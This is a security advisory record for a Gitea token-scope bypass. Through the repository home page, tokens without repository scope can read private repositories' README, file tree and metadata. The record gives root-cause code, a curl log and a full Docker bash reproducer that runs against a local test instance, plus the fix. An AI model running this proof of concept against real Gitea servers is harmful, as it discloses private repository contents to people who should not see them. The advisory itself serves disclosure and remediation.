{"id":"CVE-2026-58444","aliases":["GHSA-cp3q-vrj2-ghhh"],"title":"Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents","summary":"Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents","severity":"medium","cvss":4.3,"cwe":["CWE-863"],"vendor":"gitea","product":"code.gitea.io/gitea","ecosystem":"go","affected":["code.gitea.io/gitea < 1.27.0"],"patched":["code.gitea.io/gitea 1.27.0"],"published":"2026-07-21","updated":"2026-07-21","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-cp3q-vrj2-ghhh","references":[{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-cp3q-vrj2-ghhh"},{"url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.0"},{"url":"https://github.com/advisories/GHSA-cp3q-vrj2-ghhh"}],"tags":["ghsa","go"],"ingestedAt":"2026-07-21T20:54:26.830Z","epss":0.0024,"epssPercentile":0.15349,"slug":"CVE-2026-58444","body":"## Overview\n\n### Summary\nA personal access token (PAT) or OAuth2 token that does **not** carry the\n`repository` scope or that is **public-only** is correctly rejected (HTTP 403)\nby the recently hardened web content routes (archive download, raw/media file\ndownload, and repository RSS/Atom feeds). However, the repository home page route\n`GET /{owner}/{repo}` (handler `repo.Home`) serves the **private** repository's\nrendered README, root file/directory tree, description, language statistics,\nlicense, and latest-release information to that same token.\n\nThis is a token-scope enforcement bypass and private-repository content\ndisclosure. It is the same source→sink pattern already fixed for neighbouring\nroutes in:\n\n- **GHSA-cr4g-f395-h25h** (CVE-2026-20706) token scope bypass on web archive download\n- **GHSA-3pww-vcvm-3gmj** (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds\n\n`repo.Home` is the remaining token-auth-enabled content route that was not given\nthe guard.\n\n### Details / Root cause\nWeb routes accept token authentication only when explicitly opted in with\n`webAuth.AllowBasic` / `webAuth.AllowOAuth2`. The repository home route carries\n`AllowBasic` (added so that `go get` can resolve private modules):\n\n```go\n// routers/web/web.go:1256\nm.Get(\"/{username}/{reponame}\", optSignIn, webAuth.AllowBasic,\n      context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),\n      repo.SetEditorconfigIfExists, repo.Home)\n```\n\nWhen a PAT/OAuth2 token is supplied via HTTP Basic auth, `services/auth/basic.go`\nsets `IsApiToken = true` and records `ApiTokenScope`:\n\n```go\n// services/auth/basic.go\nstore.GetData()[\"IsApiToken\"] = true\nstore.GetData()[\"ApiTokenScope\"] = token.Scope\n```\n\nThe patched sibling handlers all call the web-side scope guard\n`context.CheckRepoScopedToken(...)`, which enforces both the public-only\nrestriction and the `repository` scope:\n\n```\nrouters/web/repo/download.go:23     (raw / media / archive)  ← GHSA-cr4g\nrouters/web/feed/render.go:15       (all repo feeds)         ← GHSA-3pww\nrouters/web/repo/attachment.go:190  (attachments / release assets, centralized)\nrouters/web/repo/githttp.go:161     (git smart HTTP)         ← GHSA-cc8w\n```\n\n`repo.Home` (`routers/web/repo/view_home.go:389`) performs **no** such check. Its\nonly gate is `checkHomeCodeViewable`, which verifies the **user's** permission and\nthat the code unit is enabled neither of which constrains the **token's** scope.\nThe README, file listing, and sidebar are then rendered. (The\n`handleRepoHomeFeed` sub-path is guarded via `ShowRepoFeed`, but the HTML repo\nview is not.)\n\n### Proof of Concept\nReproduced against `gitea/gitea:main-nightly` (build `g2e1be0b114`, identical to\nthe source commit above). A private repository `admin/secretrepo` is created, and\na token is minted with **only** the `read:user` scope (no `repository` scope).\n\n```\n=== anonymous baseline (repository is private) ===\n  anon GET /admin/secretrepo                       HTTP=404\n=== same no-repo-scope token across routes ===\n  API repo get (proves token lacks repo scope)     HTTP=403 canary=0\n  /admin/secretrepo/archive/main.zip  (control)    HTTP=403 canary=0\n  /admin/secretrepo/raw/branch/main/README.md      HTTP=403 canary=0\n  /admin/secretrepo.rss               (control)    HTTP=403 canary=0\n  /admin/secretrepo  (repo.Home, VULN)             HTTP=200 canary=1\n```\n\nA second token with scope `public-only,read:repository` behaves identically:\n`/archive` → 403, but `/admin/secretrepo` → 200 and returns the private content.\n\n`canary=1` means the private README marker was returned in the HTML response; the\nprivate file name `SECRET.md` is also disclosed in the rendered file tree.\n\nFull self-contained reproducer (Docker, prints a PASS/FAIL verdict):\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nN=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'\ndocker rm -f $N >/dev/null 2>&1 || true\ndocker run -d --name $N \\\n  -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \\\n  -e GITEA__server__ROOT_URL=http://localhost:3000/ \\\n  -e GITEA__service__DISABLE_REGISTRATION=true \\\n  -p 3000:3000 gitea/gitea:main-nightly >/dev/null\nfor i in $(seq 1 40); do\n  [ \"$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)\" = 200 ] && break; sleep 2; done\ndocker exec -u git $N gitea admin user create --admin --username admin \\\n  --password \"$PW\" --email admin@example.com --must-change-password=false >/dev/null\ncurl -s -u admin:\"$PW\" -X POST http://localhost:3000/api/v1/user/repos \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"name\":\"secretrepo\",\"private\":true,\"auto_init\":true,\"default_branch\":\"main\"}' >/dev/null\nSHA=$(curl -s -u admin:\"$PW\" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \\\n  | python3 -c \"import json,sys;print(json.load(sys.stdin)['sha'])\")\ncurl -s -u admin:\"$PW\" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"content\":\"'\"$(printf '# %s\\nprivate' \"$CANARY\" | base64)\"'\",\"message\":\"u\",\"sha\":\"'\"$SHA\"'\",\"branch\":\"main\"}' >/dev/null\nTOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \\\n  --scopes read:user --token-name norepo --raw | tail -1)\necho \"anon  : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)\"\nfor p in \"archive/main.zip\" \"raw/branch/main/README.md\" \".rss\" \"\"; do\n  o=$(curl -s -u admin:\"$TOK\" -w '|%{http_code}' \"http://localhost:3000/admin/secretrepo${p:+/}$p\")\n  echo \"/$p -> ${o##*|}  canary=$(printf '%s' \"$o\" | grep -c \"$CANARY\" || true)\"\ndone\necho \"PASS if controls=403/404 and repo.Home (last line)=200 canary=1\"\ndocker rm -f $N >/dev/null\n```\n\n### Impact\nAny holder of a non-`repository`-scoped or public-only token belonging to a user\nwho has access to private repositories can read those repositories' README, root\nfile/directory listing, description, languages, license, and latest release\ncontent the token was explicitly scoped to be unable to read. This defeats the\npurpose of fine-grained and public-only tokens (for example a CI token granted\nonly `read:issue`, or a `public-only` token issued to a third-party integration).\n\nThe disclosure is bounded to the repository root view because the deeper\n`/{owner}/{repo}/src/*` routes do not enable `AllowBasic`.\n\n### Suggested remediation\nMirror the sibling handlers: at the start of `repo.Home`\n(`routers/web/repo/view_home.go`), or as route middleware on `routers/web/web.go:1256`,\nadd:\n\n```go\ncontext.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)\nif ctx.Written() {\n    return\n}\n```\n\nIt is also worth auditing the other `AllowBasic`/`AllowOAuth2` web routes that\nrender repository data for the same omission notably\n`actions.GetWorkflowBadge` (`routers/web/web.go:1568`), which currently exposes a\nprivate repository's workflow build status (pass/fail) to a token without the\n`repository` scope (lower impact, possibly intended since badges are designed to\nbe embeddable, but worth confirming).\n\n## Affected packages\n\n- `code.gitea.io/gitea < 1.27.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `code.gitea.io/gitea 1.27.0`","depth":"sunlit","depthScore":24,"depthScoreParts":{"impact":23.7,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}